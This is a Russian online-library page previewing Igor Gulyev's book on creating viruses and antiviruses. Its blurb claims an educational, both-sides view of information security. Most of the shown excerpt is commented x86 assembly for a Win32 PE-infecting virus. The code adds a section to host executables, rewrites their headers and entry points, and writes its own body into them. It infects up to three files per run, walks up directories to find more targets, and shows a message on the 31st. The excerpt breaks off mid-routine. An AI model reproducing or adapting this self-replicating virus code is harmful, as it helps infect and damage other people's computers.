Игорь Гульев - Создаем вирус и антивирус

Здесь есть возможность читать онлайн «Игорь Гульев - Создаем вирус и антивирус» — ознакомительный отрывок электронной книги совершенно бесплатно, а после прочтения отрывка купить полную версию. В некоторых случаях можно слушать аудио, скачать через торрент в формате fb2 и присутствует краткое содержание. Жанр: Прочая околокомпьтерная литература, на русском языке. Описание произведения, (предисловие) а так же отзывы посетителей доступны на портале библиотеки ЛибКат.

Создаем вирус и антивирус: краткое содержание, описание и аннотация

Предлагаем к чтению аннотацию, описание, краткое содержание или предисловие (зависит от того, что написал сам автор книги «Создаем вирус и антивирус»). Если вы не нашли необходимую информацию о книге — напишите в комментариях, мы постараемся отыскать её.

Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Создаем вирус и антивирус — читать онлайн ознакомительный отрывок

Ниже представлен текст книги, разбитый по страницам. Система сохранения места последней прочитанной страницы, позволяет с удобством читать онлайн бесплатно книгу «Создаем вирус и антивирус», без необходимости каждый раз заново искать на чём Вы остановились. Поставьте закладку, и сможете в любой момент перейти на страницу, на которой закончили чтение.

Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend–vstart+1000h

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax

;Вычислим физическое смещение нового объекта

mov eax,[edi−5*8+20]

add eax,[edi−5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

;Обновим размер образа (размер в памяти) файла

mov eax,vend−vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx,[ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

;Скопируем новый объект в таблицу объектов

mov ecx,10

rep movsd

;Вычислим точку входа RVA

mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax,ebx

add eax,5

;Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем PE−заголовок и таблицу объектов в файл

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]

;Поставим указатель позиции чтения/записи

;по физическому смещению нового объекта

push 0

push 0

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем тело вируса в новый объект

push 0

lea eax,[ebp+offset bytesread]

push eax

push vend−vstart

lea eax,[ebp+offset vstart]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Закроем файл

notape:

push dword ptr [ebp+offset ahand]

call CloseFile

;Переход к следующему файлу

findnextone:

;Проверим, сколько файлов заразили: если 3,

;то выходим, если меньше – ищем следующий

cmp byte ptr [ebp+offset countinfect],3

jz outty

;Ищем следующий файл

lea eax,[ebp+offset win32_data_thang]

push eax

push dword ptr [ebp+offset searchhandle]

call FindNext

;Если файл найден, переходим к заражению

or eax,eax

jnz gofile

;Сюда попадаем, если файл не найден

foundnothing:

;Сменим директорию

xor eax,eax

lea edi,[ebp+offset tempdir]

mov ecx,256/4

rep stosd

lea edi,[ebp+offset tempdir1]

mov ecx,256/4

rep stosd

;Получим текущую директорию

lea esi,[ebp+offset tempdir]

push esi

push 255

call GetCurDir

;Сменим директорию на ”.”

lea eax,[ebp+offset dotdot]

push eax

call SetCurDir

;Получим текущую директорию

lea edi,[ebp+offset tempdir1]

push edi

push 255

call GetCurDir

;Проверим, корневая ли это директория. Если да, то выходим

mov ecx,256/4

rep cmpsd

jnz infectdir

;”Заметаем следы” и выходим в программу−носитель

outty:

;Возвратимся в оригинальную текущую директорию

lea eax,[ebp+offset orgdir]

push eax

call SetCurDir

;Получим текущую дату и время

lea eax,[ebp+offset systimestruct]

push eax

call GetTime

;Проверим число. Если это 31−ое, выдаем сообщение

cmp word ptr [ebp+offset day],31

jnz nopayload

;Сообщение для пользователя

push 1000h ;MB_SYSTEMMODAL

lea eax,[ebp+offset boxtitle]

push eax

lea eax,[ebp+offset boxmsg]

push eax

push 0

call MsgBox

;Выход в программу−носитель

nopayload:

pop eax

jmp eax

;Когда KERNEL будет обнаружен, его смещение будет записано

kern dd 0BFF93B95h

;Значения KERNEL, известные нам

kern1 dd 0BFF93B95h

kern2 dd 0BFF93C1Dh

;Чтение текущей директории

GetCurDir:

;Запишем в стек значение для получения текущей

;директории и вызовем KERNEL

push 0BFF77744h

jmp [ebp+offset kern]

;Установка текущей директории

SetCurDir:

;Запишем в стек значение для установки текущей

;директории и вызовем KERNEL

push 0BFF7771Dh

jmp [ebp+offset kern]

;Получение времени и даты

GetTime:

;Проверим, какой KERNEL работает

cmp [ebp+offset kern],0BFF93B95h

jnz gettimekern2

;Запишем в стек значение для получения

;времени и даты и вызовем KERNEL

push 0BFF9D0B6h

jmp [ebp+offset kern]

gettimekern2:

;Запишем в стек значение для получения

;времени и даты и вызовем KERNEL

push 0BFF9D14Eh

jmp [ebp+offset kern]

;Вывод сообщения

MsgBox:

;Запишем в стек значение для вывода сообщения и вызовем KERNEL

push 0BFF638D9h

jmp [ebp+offset kern]

;Поиск первого файла

FindFile:

;Запишем в стек значение для поиска первого файла

;и вызовем KERNEL

push 0BFF77893h

jmp [ebp+offset kern]

;Поиск следующего файла

FindNext:

;Запишем в стек значение для поиска

;следующего файла и вызовем KERNEL

push 0BFF778CBh

jmp [ebp+offset kern]

;Открытие/создание файла

CreateFile:

;Запишем в стек значение для открытия/создания файла

;и вызовем KERNEL

push 0BFF77817h

jmp [ebp+offset kern]

;Установка указателя чтения/записи

SetFilePointer:

;Запишем в стек значение для установки

;указателя чтения/записи файла и вызовем KERNEL

push 0BFF76FA0h

jmp [ebp+offset kern]

;Чтение из файла

ReadFile:

;Запишем в стек значение для чтения из файла и вызовем KERNEL

push 0BFF75806h

jmp [ebp+offset kern]

;Запись в файл

WriteFile:

;Запишем в стек значение для записи в файл и вызовем KERNEL

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Похожие книги на «Создаем вирус и антивирус»

Представляем Вашему вниманию похожие книги на «Создаем вирус и антивирус» списком для выбора. Мы отобрали схожую по названию и смыслу литературу в надежде предоставить читателям больше вариантов отыскать новые, интересные, ещё непрочитанные произведения.


Отзывы о книге «Создаем вирус и антивирус»

Обсуждение, отзывы о книге «Создаем вирус и антивирус» и просто собственные мнения читателей. Оставьте ваши комментарии, напишите, что Вы думаете о произведении, его смысле или главных героях. Укажите что конкретно понравилось, а что нет, и почему Вы так считаете.

x